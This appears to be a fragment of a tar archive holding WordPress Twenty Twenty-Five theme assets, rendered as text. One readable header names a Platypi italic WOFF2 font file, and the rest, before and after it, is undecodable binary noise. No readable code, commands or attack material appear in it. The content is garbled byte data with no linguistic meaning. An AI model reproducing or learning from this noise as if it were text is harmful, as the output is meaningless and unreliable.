\RfW%C@iY&&˩<}RU[I'Vh}}J6R ͒Vc*P\Ğr6o7 t|hiE|j(c +h9VnI5'8Til`%;QrjΪv //@b|G*VLە MTl/-vLs-9w˱t6)&ִHIv3ŵ^v!QjڮUO\z8?Tx2.yD,`ԙSKf)a~gXy׆ ?}KAS 5'ϩ] =d)tDڇ"D/18`s {PT%'4p!ahtt*.L:.zWs#QSO昖2,fМ֡?YS-1&qdCVaN;Y[9\J(2‰ (wu[t᳷.~B:^3v<3I+h@6n[u[u02qG1?g:ԕ:9t1؏]X5(PjL4ͦS<i1%OdSDi,4@L:r33xO^ECZ!Ay2o,ohE]ҡNV]АA Z3mS6cw-` 1>>3pQh'i7j˖~1P= X4dW-,4Wȓh-z~|_d[zFMS~?c7lKn?@GANS4CwF>)&9m-yS40?y<.[!N#gN xcN|F,E9%W[DKCL}VTP{uw{?K;z:vlo>~헿*/%[e[LB#Xy(/3Nύc-b{!-A_2q;<],hehŨ#:4tAz6]3s٭elf[hʩ]fo^?,F?p{A!/YzKWZ镵r_fK$ ]b@y"ݱ6V"~Z*a1X\eXͬ1 9֛a)5399΁ *q!%q[zyy+ vs_Kk l!!\&|P8/|A" bG1d5?kQDGE߀Ԩut;j6njaX`8A$ЁLaa FË(@AC1$1f˲[M^. E"L/ E6OWt*F;Q8VqNXQZAerVyPy\yVV1T*JTuGUϩS}KWjZVmj:N;1F5ڦ @"1B "OR@aٜ; Lj:uAf[|ڂjՄU1, }-[kL6 '?A(Bp,c +Ftg4H. "Aj3S1L7q?YܞfFZ"44%CnIr}e0FoG~crCC@5Fu8==##aI6І8@^Db.EnڬG3έjdMcɍXom*4a*mFR;L$i>m\eP}x&p.'6Qͬr:tY YJ/Ct دڕ]P.Q>_'4ݐ!aIDR7ic!-l*FMF]Y#R1j vǃm)I;,B4栕*SKj%[TXbYr_@-1h ]SKwg_\ޚрk(gyn^C5|*!X6pLu_斥5ytCvy$5Vh*rQO8Bfy D4Rhz^y<O"HsOfJޮ~uNȟ8cTJQ/d:84jEJ]W6ICwftCLڃ,Ǝ6," ]a %;=rES%y"~bv\dϴW3pDcOKg3R rx&qfe \H̉%MesM{!A{*sC&"F`'+*{Vpy2< U#| z-ȫ*P{Xg:fNG|;muڃCF{!@UV}u >~a:Pk#NpVWEcb}zW&<bIA_s*k~:+Ia]Mk2Rm߿c &v3|tt鸏 },0Eγdk=(3pyG]Ķ}w=~hC >Xui >#Iǒtwf;LUnO1u\a~n;I0ܶh6hl [p d[f^,? 6ho 8vƠ8}^fdMuLl5(Y6RӺj}H)3-݊k]6d 1#25 C]j%%'Ѕ" xҠ$Qgn,6QNpPԚz@y颽gp9:stH:y7'z1e_,&G[w8Ɇnkuv7ԠD҂UË10x9'6 43u8~k{dU <$:l_YJnT)`꧞hP8_ ®Zusl-ϾĖTH!ŷ_.z.C]|8l ׇk,Imy?(}ϖ놝^2ł>gDh{vMcEr j`!Y(6(m 8xͳP2!sSOxkGot*IlQٟ#=EF|T֤N.pM`ɘۤUz{-ɛV`k,՞&%ז`N.q sMfWF7 g +!9[w>=8FzeFX$zo hfݮvsX{-bq//Z@~QU}FIWHLfO"pݥQNr-3HCkI>Xi-.`?+ Aߞ)]X=q$/W"o-lȭu;55|"35j e7#H9#'Oi~|f/A3"n܌{+l.dxd*"fZ3'U/@sW(zC.{^F%>2rL@L]jBFo6S>X5 E{Q5/o8Q dWvhDЩ)Qdždrٲ[N/(㈗i} , h(KQ]+(le̱壛sqkv -%mrYѾ꺑,.=x>cLks^uQ:KO/ղէ ")ifsw ʷ75jpweܾZ;7$4lE|4LPnxRC<SD.y~1gvtQǙ<s/\pH} 8n30`! jvc?مѺ^0IԐ`U4^HA7&;^$԰*f$C4 >T hP0\;>T,SA,$z{ڹqsQ3+|k HJ+ŖwEk[RЈIeR%', lBx]jLm?{Ko˗J'NQHufLpR^)ÚTvK!ЎFGh;}xh).D~W 0D Kj}=y-LSou_Y{g!Z񘖖 $M>E.;J8(+LI\$KlLD|QhL5l\Z-";cE{`4o(RQUx)0Jξֈ"ydF/5ߪP5D3U<ϯruQ{(|H0d5ۑd(\1J݌P{P{1, ^qYIӵ(L~5) nvb7JIZVg4W)ݧ&|YV/h7[ /nar9e4 K=*VTk"]$Z#][PJQTv&T6Iv"Xg<37mTCE {+Ew0sUs5ac5oo[уf6]!xF?yc~w_љ.zQW;3eWNR3LCg%,KN=f^g"VK8Jf3A$1=zN81t-RO9S :ov@1DPSf( :3St?1t-?6+ڳR z W!q+466K)0XJj]h&}Q_޴(3q]ip̍.I(>ot(<-طU 14G>/{ *^"Yc H,l Ε$o¤tVS9p(陗,S+OL! olByyc6[0x!{yu1+m#%F ݖ.@nZ'T2׷ic:^ďE1E&0p[5&@ݳ!ATZfB%U֓)aSxQ0&|&F(J|i۰-'~3(wl6f$ fH,C --Oq89H?3zuVfVw&GkeZ{ : WdrM %RSo' <nokAGu5AhYpQ9E'|=W|߈&a|fD0VK"oī+v.'[ڏupsqӴ'伕w&׬e 1I7Z =&~oZt&Z> i%g~u_;{elekmRa+X)ш$C;#D-Pھ0Z`g:t /dEL-ٸ%K۰>:Uirhw0 aMY1d`@tJZt} cf2V:.MV3 פ?Vl]ʹSwMRp N %u-wf^?zo=pC! Lt N$@g(oRTѤG类~L8=jPx:bGW*xB>!QQR~ʮEmQ9ɠw՞ [/F/Ъ8oI{w\al,{;x3 uJ)cln桔_u9fuu]ܐԜoL[7K{^e4 4TaܼۧdsJnN#6#[lh8ؔގXڱN't,[)EjwXVoSV@Z^cc8X %i7~+GtݚL7;So3kI?6v[Dےt_3c#z t%@߁Ev-I.ѸMO|+r^qP_Q\$Ҋ!P5 _uK'a.jܫkUǖD%/{t} 7ZQOu`dwNxCAVxq=9+CX(I2,7䗕;2|4{Lo<}emhݿ;2)nSMj-^`|O`A ˇqN툨?NB@wca>_Uϝ nӧ2R L8س9UBQ8qA-Cفe^珅*Qx&RQrVX;RI%2O.;0PAHYAAAȀNls:[@t4s= .UW_o_>KZ>@`<ȼ*xcLxzoSqd:s5 E$m6#"c>V\z P ΃fl@H7'} ]]ݶ,e%{۶* C A$[G"y?xBgTjZ(fզ2ூ" rf5irxݻvqN.O.AFcuofo-"ϞJxbY ;lu #2#R$k6Q Ӗ**%nГL %k1K)`a|@4L{ޡ"dW ~?!*uWD㶻\yb( ױK7Ęcl&]i5xO_z0Pw鈼LcM eQgUP Jݦup2vkcNSXCn}RE vH]SIp#X[q= Qk"r^EFqx)|ta$YM?Lj~,LP-EO.Dd,T VhnT1MdSƊJ|&av<yߊwoo1E(T_~&!đImA0%Q|kIJvY-zcSAz=;2ϋ8p݊&:$4 ^,PLw䪪$$XQVL|t!8Qm qFS9҆KBO`ɋNp|'T9nJ7Ԅ9X0 솁b_f¦J j cZ8I p!e}eHOޕ_l{O-|vCޭudSZV MfdJh}u=h7nDș25ݿ>tF y#2n0'}Q;eyY=$6ؗ0rrf[.Q1%A8dMw r,[h4"OK K{d.Z:+#ܮ";:;sOܳoUDd[&Y$kٚ< #sw8lӭ~t%phC Qġ:$ǘ8  ǩ;ȓ?deZG$5ԛř=QˬRy*W[;<c\@jmJӲz04E!J jٖRFޮV 9U\KCX=Slѥ4 UQU];,"[x7,"9$2+0G, mdkؔ f1Jڳp sQ5g1HrH>7TQKKSZ߀kBGHƷ=]jSirCR Ң#WR~vnۦ@DhZF6ZOW^s+5Yd;?!}*t!ZL6 H pz˔e/2qIQd53s9p\Up{*kpNː+6àƑ[rKQn}Qt4͎X+ty+չ^3[=&C?c_'cē$nffN^ƶ#bZ뵤i:*#klb6FB}4!hfN;UM8hi-x[=XR_]  !+ͭbFZӝTAB4KkՈrGent|)STmW .&wARgQ Ki-00OA5LW^)J E:t UAxCG& FevSk~3x3^<ޕdsK sXFeӊ[69؀4N&zdjf(ٯ7bζuG*\?i-$(8tQaE8:=E3RnCisp[`|USq$rK4kjn #XȖ^] 0 ȷ#(8׏/PsZF]bX~^Y1IrNK6pBPP9 οCDZ͉Dcw-'9_[5y{[e^)*{tCP. Ҕ*| o~ 3M࣢,K×~+?{N/~5@^p "uԿs\-m?J*=t>+^=ΒBAZpy<6-Hjr)mU!=]b/q,9B<ׁa*AD[kmuS/gfVܣ ./&l|*M'b>cP8A0y(*8(RbFo! ̮o:XH"GgmN:57WfjYa p`MFw,Pɧ EˆWsWGV_i7[B Nܰmb1?RH$qU-nj.g> }a{ExRׇ~~L$~/-]W3jy&1_qb0Pi~n8@Qkp+$Ŷ=0tJ4ֹxi/2;AB ^@«b(z3h^Y/$ <fSվN"5ŧnbG^-}*5޻+-*X8uӎ"*0`gmo` 8܎1QPkE[0MBvw(?} )T`H( |mESDia5+Hd^:]T`V@(ؚ$d(A1M˷RK:{ *oŪ1Bn?V S+S{ON3#+gղEJWV2~~xcZmX:ek'NZX#a ;Gde-ārz:07h!ȥ|CP@级'$)Jjt A`!h8=͆< ξiTΦijBX["uqëqc9_D&Ӻi5\36 m2NkirP\$†e+Z QxdNO-H0x|VRryzƈ6XaU*h 7C6 򙴼>KDw8^B@ިLXP1}}=J`$# /~9,=r ί{|&Y ܞ|6H>BcfۮN^*=%ǨO&JǝkyZuM΋GB{7xuZe~S~7e# o g3ŒH앍bΩ25{*k0Mys(>(+@g/(4C: sZY2ܐZEQ5 Sz&).S2bgnEjcq`hF]EqPs@K[3رW-},U+Zp[Xq?衄iZ%-Y^x_E׳q29g@jZkYހJM( ߫*P,7=d)8oL~>nSc$8k V2I;$˯uY5o9;gv`1X{#Hw:;E>\+jM^hFPzL҂\ (,VEYw5 )򳄾s%/L-:qq ͠8M{$$B)ې=.U a1LױOY]9ERpׇ"B`eWp*$No_Q%sm9Epn&lc ӶĶLs {,:`~A Uhaa{P_^BXW2ۭiN91׀Oc3JO(!$ Wlu m `Hё)tЭbqZ |WP}bO-#3g>(fM<@'?7 2ڻ=/L΅6zo,4S' ԅ{t<ũ0ԃLq Ͼ/vpߐ5Ǘ[ΘxRlXǨ q- `^_|[WrHMsQ9u-7uKcGc_A";JO;x^uK=iSEuıO{YPq]'"YX5!+`7 :/<CTQ0r67Hg0[!/nןBi 5äTĭ=*uL`:>e*T'bt$6(Q t8ayaefX@j{}P\SX=vb^KĹ}Tqc.3rNq.\m7tx7)8 |H{:̌&8j5m ͫS72si|y YxAx֛uދY̑5aW4?u3GPyxxgc|}O~[ᥚOJG/xj N!N90]uf 2D@2e=5^E7 n0} #sk9"ؼaP|NjNƨ\FD9#QB{irY$ 7@qElׁ0ʱF/91E $`uaHN;#NKb@>CPwƴ%>]Q|"TWqȾu(8E,SEHֶNI1BxH%%6Tl""L}N\nѵxAX( e>gPnjFNֿLNʡ7YoL?s/U%lI, At<[5Blĺ #T hmm@5k۹LQYTp\U %c;x,g?3ICƗ?>+6\Ԭ[$DsH ɜ~fdE\gcNYsE; ,‹,k=%ע|eǩXB.اVe PksIcZzֻo`-ڪ8yUrɁN}ҧ|t>:C- |˷}po{=Plc&kox|h|4& J͂& ]䕁N4cT!43׶=x2ij|9 w+UN Y^G1]x=5b( NiQjCbPbA)-uo+pK]~RJ;WܠJi]PII}_Xw{V;z[$g)67#4?~qX03hā62Ӹw6 uAiHZaqmڝ7 ~_+_W8/v?^[䴩^3Mv*"5-Q%A;xPCMLn5jAtx<`>ThD,ͬ{M\ɛ;C LRMgՆ͜O:fHĄ#jmpvC익V'!Q#E#X̓5%f-~ R|]+O!;G1A5 KjRgjvZ f~+Жa.cB3cXhDE#iZr_Ԃ/eĶ k@J-@T*UB(W@+s '3n aBtU`AMHWI+,uajuA3[lp7~~cl.$A@nxV6i)nTK\,_:_vz#lƳ']2'Պ&ip@5`Ժp00fɩ)gC}P=un$}yۜ',6I,q2ݫd֕3.7{P- Gُh}%&1 9uc>MD5XAФewo\ayZIu}t8^꿔5nϏ* lO'AT J:BUYrwA~j~ϙ/afni&F6=t F+YsVc9؃;'AB9ˑs4Ov[]0 fy|NUz themes/twentytwentyfive/assets/fonts/platypi/Platypi-Italic-VariableFont_wght.woff2000064400000214130152335264760025040 0ustar00wOF2X4 .?HVAR?MVAR<`?STAT '&6/T D ~06$x  [L_9etm`3V(+:a;ha^~?7ݤh}?_,Bf68wg> ~@$/mRJ s.sDWx0 .f=eA`Km/WrC$aPh'H{42$wrX2jhF@.bByqYL"D*L}Nź:%e-|5֘DIF& D.5FuZ A0檻,lzpq!LPBab޿[4clc#Gi0J + 5*D$JLh# #qC9FlɶsIKpn2 @KfӿR$@1 q' ĵ5Pb3J;ʤ]'Zi'u<ϳ3(7XYXcXXQ=V],baa|5N^.j8@\???Q2?mOs{g5|akd`!Dk#;xk{YŹ/()wau3RT9&>xu8}Ogq|vR8,6=RjEkSYc,_\K68nPqNYGZ99jEki jגLc|VN>c`T[ܾd6<սv& h[g"i%m}4=>0a=_6NGܦ,[l=݊Ɉvv:* A Hp):6-3s.:SwQ]=s)Dh(RB(TSʦh<p@S<뿯HF22q$I$HF$Id$##ɑc̙^m{m;;Ύ6#mF2F$#O2O? 5i^x͚?7YD& X7}2V*lPg)@'e}ӌ|aG/K_}/o` 89S(K8ML&|*yz?1[*[zZ20BiwW_N)mj.޴ҝ鴓C9r#|iUDQ NWx*+Zd>bZd:izjlv@Ze;oR}Pf-34[R*rai(hiY%rOS˃GoKj}iU(sAyQhg4J+J+yR j(AVz@IrIm_x6zBT4F+Y3ZPh &,s$C>4b1B*qEHyFS^G/4H#$J#M3{]?~ڪ***be,c dS-%=dFzJ?cV1ƈ(Tdݻ`c|˞; Q)?[90>BB13R:z)R+R' ap`JQ^9}?n^nSv@Zn hchÅ 7q'@@!$)e!:v_HX*y !ӆ=s=cRS@O}u 6lqdq` p!to xsB4VX .x{f T1LVrҢDOC?p 6dTي`L#4$Dge;! $NRʸJ|^_^7$K &H, eJ h2[6r{>  G bťe *݄w:݅ݶgy 4ȄYnђ—^iz>x R-#|GJb]|  uԚϭ~HA$CLJ}:v %";6w=D$ eB{? ։Xu6Ӱ)v & $l~OYc:0=EeG֩mʇ ]m6#oV1UL=uU& Mn)T{=!he[Օ9to1ݘ07iW=uOr[9̻*h.[E5Uu_fu۠)ΙϚg&S[|?=l/oC^Zz,#"tZ[m|)z$J3 4'dBZpjU RS.z&l7h>{b2ӼJ{ )8oK.}ee镍HDpfRO%nUKAb־1le)u|ă<Fa \SD_Ś: xD֖Tr}Ӏ=ACx 5L&Jis0]M>z2^ 0sFMVX,Wt /墤ƾ]9|DT/mKZCi=be];|Yӕ2mF>\yB}gj(Duzɫ?:*ˠmj@t)TzԣO>hp\\syj|+P{3TfM̌ON{DK/wȒxE^iͣWN+E9^>!S{ 7}+'-.JNDR%Ϲ?i$6:Xqe/T-?e ;JgQԷw;[.-Ǡ/m3aӇfeY¯fˑۂlMJ,ɶ>A`PJ>2mt1='=O(qU<}zTS 0GQPӒ>*ͥs+~1CG V,t9; DoC4L;T.R) tν嘆Ed!V1Wx qNk"艓/ J{ -,nvĀ!&Bx#ӌvf}ZQΛܸRCL/+^g;I5.c@-[Ƴ#Q-Ѩ^%ܸFT-_ 3Mo҅QpH[ +&Sf]pց+/3TDxGUiǘo8̹cK.WCNS\GZ*>ISgWaP;/#N{*)P!u`WZ {NRƔO5 ;6y|֡zhI>aG:Gg*!,!?֖^~x&ydw/$FI~z>vp#>| jwsŶY:Y$i&ҎRy/@JA !N½vh<)ASޓ_ nk) G-05?/`ߟgq.- bYߎʨR?=Pr&yw%[qOOJPc,В3vyl9 Eǎ{1ۼnr{g֓[9z&@Si[iZw`GU7?gZMDђҧ85K/Ez -Ъ faI[+cGnJ饀)%*Ԩ^-!S9N#Aua|O_\L),tl5R,[A/wf"J<"L:]!˩~ʉ Nׂ87$gEHcw.0owmT9de(U@c`IUtB$U*oSa1#~h}4y;&U}-Xf!S{ӖX vB+W-0=P@.g#W+$Y15-\Ԉ2˹ms^; 3^P^cŚ8|Fg-k#O{޿}|w?4< wnHlMz /%Vjo9."c ~HH7 }+_ a&/qqRejA*`[Vc[Vߨ1uE++Flq5#$JggJO,29p=flA׷1sZŜ(5kJ3m㷱qKtNۊuUFLR8"z: gQFbN~6byXGJ2Ծ)5\PԄ*=.c@,4>p0*#~1“P"A9*ܭ@@le;&x*1:\O G@}I# ia A/?lHV7<ƭgy䜸۵"٧P~֗r$~U͹ zAԸcy 4h!!wFfc8 @>b]z- 3n$3f̤h*hk4U" 7vu yW[[Yy?<&yg$d\ 6:o52rQjm ;8&ʎM!ofy׮"9T׋\UDZQo!"r+TqlSq6)rkYdbcA7xs0c:κHm<%'9 ћ dIzv.R~)\:X%p-v-V JJIevxj#wARJ.0:i (|3B|E}+ 0[{V29c|;S{uHX$dnzՀ!aXyďfBFH22pnMLx]ɦ(1%f#l9'W^ɥx'A.f:*佢Ow"B.%xq5Ô8(:#+w@@c{衙kp ?<+֫3y\n< &UDZ-:xIkW3z/QlV\/Blw<ݨ;)TNsʄb]pAL&,v`HXP&uh;O&#nC GcJcbj؂o\ꏅ 1q,ZlŪ5VX-=";^@hn9"w` q3QnGvmS!>]BȂTҖi"Z[BKe+,YLdg$p y<.0QΖAH}<UC({nxYb]09Xoh @Ysvw_抜!LDI t/| J0{ҩd׉6re\0i^'p "Z GȻV숄|.Sui=HQ}M}SЧ3Z7\bXBn@4ۀ0B4;}UTIJ >Bv>؇7@fyIIwE'9W_=<) P[A'a*i#_~ѐ:[D Ú`- lZ` U젽M^eP5``\,iQԶQ('DZ KǣDUh7i~fl>઄xSkO$R&WV\Zr竅gV%a2w+1ocךsOwCHwE 8B;gEOmX/IB\2@ˈByP${r9B=bŎX \E9ARqOoT+Ҡí|"P:ymT\%JP )N#IT9 /NPKЃّURދ>`B \;<1KNVRI͉5A^0OG}/N[ȉ}Jl>|tغ8k`gZ"/t Nȗ90s}TŞH j@eo*HQ@cV>=b-1Fʬ*"@:Y /(x>zw$ r']'J3  !ζ:y*,2 .a8BA&(rLIX)'?NAO9\8{jqiq7NP 9c\0x}ފf =Ι<k2lŗ20& K݋śٛus]a `]L[ 8{(7A?ILߊ,!Ƞ{Nӂ'f,;θTrtn@S pg&ck6tMСm ߌmQajZ3aI DԻl-}. \CAat=MmD v e{i`GEo VB؊#Y"Ű{l36s;ZrV^xj-YsӘTD0P$}([lq~_I)K (QD3q$$;y)lm4&&װ"^6,@(L8Kވkr#$Ա w;kRC ц%AwB"5H}Jp;dpOk#,𕀾>ŝoe!Js5ߣYo  H\t%)Lg^ DY80@L.ӂpG9Gɜ{ @ ;gzi(z]Q )92mly"K<(?h$p:[~#hLDhv#6 tӆg[Q9#‡>'N0׾OAP:+}HJ{.e 9_i`fsQK)]SR{rpkfqywupX)ߛR<x Q|JR#,=Kzwfl#|˚iOɿge oE 7akTB,w)!J$K+9^ Sz2); tj9}IN/Ǻ4M#.SU:<@|-HGPc;aAFOܠȹuQ?GIZVROv!üCXw" ֫ [$`S ^&*J=z fʥ+f,0[@%h*:oG;I~ F_5?[* g) ߫ߙ0Sj>ճو>`*Ы1iqJ ̥ѺFKBeA1ͨټ|gwV Ó )* DfHQ !5c61Tq¤#lmĴ׸o4)0ya-φ9w)x-p_Q8'tsMgܵMS%6D0_pѧ2FN@_k@Jކ[bTENq[ ;>v~~(p|k~ |?@-X dqzmŜա8H@w. N88:k>@~@M]e*.2lD%NS^S0=KJ,lP~D8:ɧÞv B'qQ'Gn5xNLkQ`1G2q՘V߇Ш?kJ+׿Ԯ#ہCQN-/|xcZ/B$h^4;ku Ř"tȾUY~zW%h47UƢX$qЀ#A800qQf y]םxn\8pix01=kT<̇`YEx|%)ohL_A _w0 @{Nť@>L &@;6fkRw~FwD>m[϶^ "tv8> "jr8 ρS:>7# H 8PMNϤf`6p~0G[Ax6ZI"jIND.V%[^DkIOJUF܎8?!N5O nV: !j^! [ ۧ ?A>08Ԝ6^pF5 fZOY_~$dD[EP-4*WX5 6EYt \xyURyΪBzJRSuv~rd<Y~&BƧH )Rz!lUqq]$Q*\gwCۅ1rȏrj%A<&q>>?Mwź4㩵lJ{SWA /,عm:BlI*>3LS]ApаLLAu ki0/|ҔhGLQӺOqB.p[C\%EǸ5Op# 6(5} ڛ> HƂp3oǁgNr&S4Bse Q|T { h%^℄F֙xf }v #C e:?\pۈ˞Naqfdv5&c7^LL~tO,[/aPN,2bt\P,GRoog|jF2}[Gŧ3dMܤOϟoN>嬼Kl,x[_k@G+]Ӵ8m\*pxnt{}'|ؓÀ dϰ?wsC@1)ctPb9 ɚk8bnоeIoڪ~(5ڠkaT(gM|P@Kxmb>& >|j7\gbq9 = ڶ:<[` [\lC}_+z;)v'CMyo[hxGu鈙e!wD~qw6]#{?Iw~:RaSٺsF>ZvJ)gK͵ECOl;Y\ wԓ%zQc hBI+\`a焰I]'v1 J+nzKyv¤:=8x hK471o&GrpZ ^yI;JoIߨ%Y)y{DqLGO|7 y_s<Yq`|H{~ :5 :40P:de0p(;g)ӄsӺy?~G|^}M\6 6+Oɶs5$l^J1G|A:xHz}{Ϲ{]tnD o "W|G6_S>EPggռ6}ʦõpvS06%r,Yu `#6W m1ӦT?d"ycWYW,[P ,o Ū=g_>\{Zw']8/(J;z҅CNZmcu*?S^a-֏.z[͑RO.e0aw}`¼-oy0ʺ|YDL~K;lAev A̞c#z 6&s*p\NӞ->k"K+Qe,xBcކێ\T+1$vɀn"n(Sf167\^(>ݧޒp 2H!N^4q} w U:t*}KpȊchOs6ϸmp &,YfJUM¨hXeH9X d)FPO `jߔ,+΅\]wAy'>|S]6M#l24]&-~bbE_ qo sѺjz@&K9y%>xF,>R;nS5 .@2`/@B( YlRP-N$i%zrU*a!btul66()G4$'K=HuA`wĂSDwJgMKO } 5ޮ/oiֈ;{}$/`YMⷱ|>-cdпS_MJ͡ `ˤIpj os1Ӻ` ,Ho}j|u7qs-=s ?٨ 8=x\_>Ϟ:O>ucV܅mȓ\YԵ]exơ(:«BOSSMZ?~ѝkрfGq9?kZZ1`E)} I󠭍j䧢+f5ӭn.ś8r!X(r&öF"8Xw.c7w}{pDT'OՓ0eaot]l3^Vˎ& 6jrJ۾}=UR[xYODeo1,Ì{^AQpy\iA& 6DO2&ɅZ)綡}/vt^EӤuKQ^}F xPFd|~=2zCsť`,&Z΅ TZI5uD`:z녪X:DȚm{ M"arؗ`RxڛEv)*@b bS#3Z͆>^% >M/j[ִh);nH&E$;:kϦ5يc q7Jg Rg;e -a{ kt/jfiV1}y2UpOsUB WDT+3I*푮>2m!kd%ѠBKva=H3 >cߥv٬`]ڧkg@󖜩z`2WȖ }7yK޲ HKK~d:VN@~ ,Ҹjs$sZx;j53J V-Sv])TFPQcceLR9g \Hp*g΢uiN%Qz2y}hm1\GFs6h\ܣ2]c-GĔ9m\+SSwjR,VުP&h!7 m6]|Ҟ:/mH C,fT&ˌ*'GJŶҎSN?%,`,j^ij=@^E)0-_(pȿ(0AeJ0O3ERwϯ5ʯ6 hk!︠ކ\z~m %4 M(k*\K,4c=E#N.*6y\o=Q."|/rQ+QVm+aӹ1;kK-5Z~m7{DH,,fϨb-sq!$f!C>,qt{'?Xp}ڶ5:fg> Ts.]#Wر'3/ZLI5Oell$f'`%ISE"K"Hk"H(4B==Ҩn[D2Kz~݌˔1;*F,Pa1ޕf"GTY ϖv}`¶,O$d\~'i DG%& ^1;*D@K;^IVָ#x&UU' {دH!Vi4`s]݇1Ab b5Os9nW;}PU `q>֯J-U4e뫻&WrYRJ,őtVë69fziRX{I^?o-$,ܫ} HyU'dM5z0v *+n8"[w]鈶=8K候ѫBTHlxk+<_i;i]Qƴ Ew]|9]{EBƃx>NJ$X{E!q;G%N >¨ˀYR'ϔZJk)?[0+BN::|s" */9횎T(V"ڮZz~UqYoJ}QźѶUWzp SU{]z/hO4[Aa١V>$%h_y[I>!Ǻrv',e?ޛOWi뱂P!~fb a1@i*>GGSYSJn dє[LK6@~XH~l0UDOQq?Kٌ,{4<WAo03}_ei/ kYoRyV^o6W#CSrp|gsg/jvQ&i _T(ɠ g hGz %J`=k+: =ڼ6., Ƕ;ݞdYM/ӵ6R$E*Fj~T>'e &g8 4ZG햋 /NfR4Z#mcƋIu$-!Z{@V]sf&GhPasD>s5"P>8jT[9ѓ%F!` Mg 1cMO,*ޞ 9V? +?%@C mlhāa&j;\y$ '+͕gIn鄧X0nFb7`eXhJ+ukV3jH0,{ȳڦF" YE+9;=Ωs jSGʌ$Bo\oZ,\^`,Fֺ}M&5$-MHfu#qdDb<,{wy޵AԶvO꽩.kE$_޸#?%l:rj T{^^;06fTd6J(6`9PwiwXv[zlj:$;Ey}eimX˳\.[r0b *cV(~f:KN=Rj#EI9_d7]gw={d 7Y+F_) H.6}#ӓCXLc48=' ) ې4?;Ŗ,FcM6t{X_!SPyGHht-ƤW׾fl74$k&FfO d1I&8|u@< ֩T>5^G"vSIbs}j5g-^ۺ-s~mwiG̶ٲ=G{=oQH%hM"P%";ZȎr9xKl\3V1jaB(r1DeO`cU$`o||:%aڢdˉG%uYvB< |fx+ tpb- X ~i/4-H RQJ9 ia :{L!)XMX%ubbT~NT{a$X;n15j"l(i; C&:λ8?@M{;:I([l~DӸ?_G »R#A5_;s.b\lK1-# o0 >~2F\"V'R"ᆂ D\2j͉Q;׌c<q|WG mCBP^k{]Ѷv|Z߮(2g;tjY0b`;',P>jogHHvDgq$@䈵Z+~[bsuW("oc-+iQKFS`I *قylm֒qOtP7S;uɩFv'ÈX2ӣV@I$$< .fAq(o(t{FQŊ/`;__Ԏ|$#]jvFϜμr AUw/ &\ߴ-@{n/x`ԓoߪ 썽Z'>\]Q/,IXr%hճ%%D\#B+â3V81ɑ+g҄[&H/%!X*|5;#ٳkoǥվ*g,nhqMPk)3mfmnuZOqeӻ۟HWrT)vRDZ˨6W\e[sK+ICQ4@u+xTtlQs*Uԕegs`=CDdjUʣ)Mg GD.O<*JCkުOs+QqOS\Uf_=x<8+LCTغ"|Dz@ȕHh)+Ĺ*Yd,Um49ꋣш=4"ݴ0 ⠉"+`{\6 _gE fsڸ"l$Siӓ@& y<%2Vh󒕂B'd54Zdq'䬀 lդ{~h DK?Y|9m>0qYKUQ9R^PouQ 'olRUFb?]!5VX3]!wD ܴxnX7ebUsrӝ:LSgZXQ[Yb|cgPJhK9(.1+K8Wzvnk|KgVjh-WxfZ좓0kuF; s/ oP_'8[SXr"{{.lڛSL3# 6[Py}aOoek詾=hC9תv1-^5-hC[&Yni!L]%jlykҤg 3Gףy:9;,vxф,MɈbNl4mL%}oy P~_r^t=I\xwqxx\^ov=: 3 C\҂^9P},^2R_E>'5_Xo/+4K(ѻF&ޮr_w~]Ga%D\OKQ%m@Am_S __*26*9`wSߥǚ/eaAa9_ elT"N̻`mW_{l.в'1<ЃMo]ٜ ̒Q;r.pA*گ Z|%tiuOI]-qLhpPclJ`bd)x-kju j݈dWzǷ;9l|5 þX-Iʼn2ΘKIfzQ)$Oq.t˓UdcR0ha' ,{('!CċMe0\N/-ly&>ckm ,D'ǒ=V1"þAr@8$Jp6/(CkZp*0Fh\Y *н/?፞h:7V$ּQܯij˟tp*ׅK}^i.}]Dw' WfX ~ (6vn,+*N[j<(eT|;l]K`'=9'JfL7IoenZu5H--@`sV[67vm^*s9;ēxdPDNO%<i~0zm0Ǚ5-}:lKm]_E *`TsSn[bgLd:yR)˟ & -F\cMQK2ˉQtYś>OֈZG|FVK閙|f"?b2j,]X¶ģoMjL'a!yUGҙKd.bpeKԉ#2΋J)uD%U#F^Bo~2w5Rl6Rˁq`Ktл_r- {I}g!kٵЂr-!`zK9%w.~MB:4LmOfTV sBxjc귋|'mRܥo6=W`DZ‚_1ѳ[w#ɣ$KMvZzORKRV,1HPsM\W2F3y ݩ^ϙ$=^?ב",#MJKK9䀸"^&!Hy2ʐL]sk-+v3\5_'ia˛#?n w"r -wl ӂ. Ǝ$$kDH\AhjEas(r6(O+Bx'_9^7WC2lyzW>+"G7Cm2+|+Ij/Г利X~N܇ҾSr;=oEmgZw/,vZsv'SIXFL?mȂH&6 E>wM23J%O@"h{Yw{dldK3KDZI7_0d1x0-%Q};tA8ɽLl\7+_@}:&d~{?%r~Wj-ew3k[(=EtM748bsPⶔrq늘>j>{Gv!9Z%ԏ獒XNƚIYaAf#,=xZPMuᨙ^5ѽc*N-=ɏZ;Q^,0ZّKk x$>O.^I3V"G7KIHi-fqvR{:h_9,k jB|^ig3ݻxO>~g/rSg>XT^88 'q/p 5O Ep?˩RGh|`_r2˲z'7иM5pBon!Q"7O8=UlyQŏ 'pm-/{V{8rZ6YF;6L2ρIJ'a6Jd@Pם@obo i[{1KpR[MEb'G\6/Qs,U>Ux8^htJXRL†|1s>'P"td6E(?  > 7P{{[1jVlȀP[ȸ㇇ٛS{_pX(}٧*ڳS [F-AQITQheeB]}*nv)sQpx(x* ej#W@?bYCNF{Uϰ"K]).TTy7'51/iZ:zaCt;o4[p%J)b+ πsrhDp 09=L &dx! eo-IQ"6thX3' gBxA#LA-]ac:?rqb-py\jMs&e&iOzpȃۏg&p^O+eiÕv!jɼ5R\ - )]T_Py.י0/I "p hDKagD;lLXWhcE# oohSr[SnU Q\V"as>QDWx̐ʻR?XX|,V5H]HӞhB2^?"n{ y}b{yz!)<\"03}SX-S!67u]ZRѠ|rZo b-,@N1/9{-#.<+[DQ57.Yn*qZ&oh:]-"Z]rFz٘}T'2|/ rI|J@\tVD0^<Ԣ^(i¦NjBPunOȮHcC/Ʒ6 x~ ?<3<-#uaD{3.j:|z]ykr<JKή<x\E:R.#]%#i 2$`fb iލB֢K-AiaQ=}X8J. h~ш_g9(p=6?m"2I#hS;0;`,`pl-܎HTpsVSGR+\.9[Xp4Z< t 5B}V`|#i+rׯ{z R)#K~./R !<#3h=+ȷnac£dY+9'@0uAZboRx9 2kA9͢PL}Zz,Z"9 